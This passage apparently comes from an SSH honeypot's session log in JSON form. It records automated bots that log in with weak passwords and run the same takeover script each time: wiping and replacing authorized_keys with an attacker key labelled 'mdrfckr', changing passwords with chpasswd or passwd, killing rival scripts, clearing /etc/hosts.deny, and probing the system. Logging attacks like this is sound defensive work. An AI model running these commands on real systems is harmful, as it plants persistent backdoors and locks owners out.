GNU/Linux"},{"seq":29,"at":"2026-08-27T13:56:39.171246+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T13:56:40.373440+00:00","kind":"output","latency_ms":null,"data":"myuser"},{"seq":31,"at":"2026-08-27T13:56:40.839242+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T13:56:42.525216+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T13:56:43.302147+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T13:56:44.375080+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"myuser","password":"1","method":"password","accepted":true,"tier":"other"}]} {"id":"d7d0ad8f-0bf6-4928-9ecc-e7d9ef924844","name":"hazel-slender-ermine","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":56854,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":831,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:56:20.487122+00:00","ended_at":"2026-08-27T13:56:22.536239+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-27T13:55:40.165993+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:55:40.992262+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:55:47.555026+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:55:49.131111+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:55:49.976640+00:00","kind":"input","latency_ms":null,"data":"echo \"root:9dZanbjMd9nW\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:55:50.803939+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:55:51.630854+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:55:51.847797+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:55:53.208850+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T13:55:54.038898+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T13:55:55.684544+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T13:55:56.515029+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T13:55:58.112949+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T13:55:58.950695+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:55:59.933135+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T13:56:00.816123+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T13:56:02.420600+00:00","kind":"output","latency_ms":null,"data":" 13:56:02 up 7 days, 10:46, 0 user, load average: 0.21, 0.17, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T13:56:03.245317+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T13:56:04.356602+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T13:56:05.188261+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T13:56:07.354617+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T13:56:08.210244+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T13:56:09.195655+00:00","kind":"output","latency_ms":null,"data":"top - 13:56:09 up 7 days, 10:46, 0 user, load average: 0.21, 0.17, 0.18\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T13:56:10.032257+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T13:56:12.024342+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T13:56:12.855437+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T13:56:14.101536+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T13:56:14.933259+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T13:56:16.973665+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T13:56:17.803223+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T13:56:19.658614+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T13:56:20.487853+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T13:56:22.273137+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Diamond1","method":"password","accepted":true,"tier":"other"}]} {"id":"bd28fa80-f266-4e39-ad73-4ddea68a43ff","name":"lively-burly-greenfinch","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":50760,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":480,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:55:13.593247+00:00","ended_at":"2026-08-27T13:55:15.678836+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2150,"events":[{"seq":1,"at":"2026-08-27T13:54:41.403059+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:54:41.751501+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:54:45.704415+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:54:46.807663+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:54:47.604815+00:00","kind":"input","latency_ms":null,"data":"echo \"root:FaVqxv2XZLR2\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:54:48.358787+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:54:48.809766+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:54:49.039500+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:54:50.555068+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T13:54:50.901253+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T13:54:52.187719+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T13:54:52.638040+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T13:54:53.531036+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T13:54:53.882288+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:54:55.970205+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T13:54:56.743216+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T13:54:58.354317+00:00","kind":"output","latency_ms":null,"data":" 13:54:58 up 7 days, 10:45, 0 user, load average: 0.21, 0.16, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T13:54:58.699489+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T13:55:00.643156+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T13:55:01.123137+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T13:55:01.973658+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T13:55:03.015588+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T13:55:04.882134+00:00","kind":"output","latency_ms":null,"data":"top - 13:55:04 up 7 days, 10:45, 0 user, load average: 0.21, 0.16, 0.24\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T13:55:05.330703+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T13:55:06.454885+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T13:55:07.247391+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T13:55:08.468150+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T13:55:09.063732+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T13:55:10.616225+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T13:55:11.383478+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T13:55:13.118014+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T13:55:13.595284+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T13:55:15.446679+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123@root","method":"password","accepted":true,"tier":"other"}]} {"id":"289fedf4-e58f-44be-a953-c770c571fd79","name":"arctic-granite-raven","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":60932,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":833,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:54:33.403866+00:00","ended_at":"2026-08-27T13:54:35.119495+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2129,"events":[{"seq":1,"at":"2026-08-27T13:53:55.211429+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:53:56.041467+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:54:02.656288+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:54:04.657087+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:54:05.489088+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Password!1\\nrhgpfatTW6at\\nrhgpfatTW6at\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:54:06.323059+00:00","kind":"input","latency_ms":null,"data":"echo \"Password!1\\nrhgpfatTW6at\\nrhgpfatTW6at\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:54:06.586402+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T13:54:07.153581+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T13:54:08.053720+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T13:54:08.209150+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T13:54:09.042695+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T13:54:10.050594+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:54:10.894601+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T13:54:12.549795+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T13:54:13.384664+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:54:14.846365+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T13:54:15.687775+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T13:54:17.339432+00:00","kind":"output","latency_ms":null,"data":" 13:54:17 up 7 days, 10:44, 0 user, load average: 0.06, 0.05, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T13:54:18.180247+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T13:54:19.882593+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T13:54:20.735282+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T13:54:22.017392+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T13:54:22.850711+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T13:54:24.409937+00:00","kind":"output","latency_ms":null,"data":"top - 13:54:24 up 7 days, 10:44, 0 user, load average: 0.06, 0.05, 0.05\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T13:54:25.242021+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T13:54:26.271513+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T13:54:27.102254+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T13:54:28.031088+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T13:54:28.870671+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T13:54:29.971554+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":31,"at":"2026-08-27T13:54:30.802452+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T13:54:32.572076+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T13:54:33.404705+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T13:54:34.854293+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"Password!1","method":"password","accepted":true,"tier":"other"}]} {"id":"b8066e45-449f-459c-84fe-f63d50fc71c0","name":"daring-dewy-lynx","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":37456,"username":"eva","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":350,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:53:37.878606+00:00","ended_at":"2026-08-27T13:53:39.794676+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2075,"events":[{"seq":1,"at":"2026-08-27T13:53:15.824439+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:53:16.644941+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:53:22.123627+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:53:22.607942+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:53:22.961044+00:00","kind":"input","latency_ms":null,"data":"echo -e \"eva\\n3PNKNCqs9eEU\\n3PNKNCqs9eEU\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:53:23.747228+00:00","kind":"input","latency_ms":null,"data":"echo \"eva\\n3PNKNCqs9eEU\\n3PNKNCqs9eEU\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:53:24.196170+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:53:24.500967+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:53:24.960732+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:53:26.152701+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:53:26.731335+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:53:27.698227+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:53:28.149619+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:53:29.037257+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:53:29.384399+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:53:29.933177+00:00","kind":"output","latency_ms":null,"data":" 13:53:29 up 7 days, 10:43, 0 user, load average: 0.32, 0.4, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:53:30.278593+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:53:30.882965+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:53:31.331644+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:53:31.782546+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:53:32.868482+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:53:33.437135+00:00","kind":"output","latency_ms":null,"data":"top - 13:53:33 up 7 days, 10:43, 0 user, load average: 0.32, 0.4, 0.2\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:53:33.782657+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:53:34.272348+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:53:34.619779+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:53:35.082677+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:53:35.428460+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:53:35.881151+00:00","kind":"output","latency_ms":null,"data":"eva"},{"seq":29,"at":"2026-08-27T13:53:36.225636+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:53:37.530319+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:53:37.879739+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:53:39.461366+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"eva","password":"eva","method":"password","accepted":true,"tier":"other"}]} {"id":"417dfc62-0fd9-43c9-a4f8-92cd41f9e472","name":"brisk-wry-kingfisher","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":36774,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":839,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:52:51.857775+00:00","ended_at":"2026-08-27T13:52:54.106539+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2161,"events":[{"seq":1,"at":"2026-08-27T13:52:12.105208+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:52:12.941393+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:52:19.545107+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc 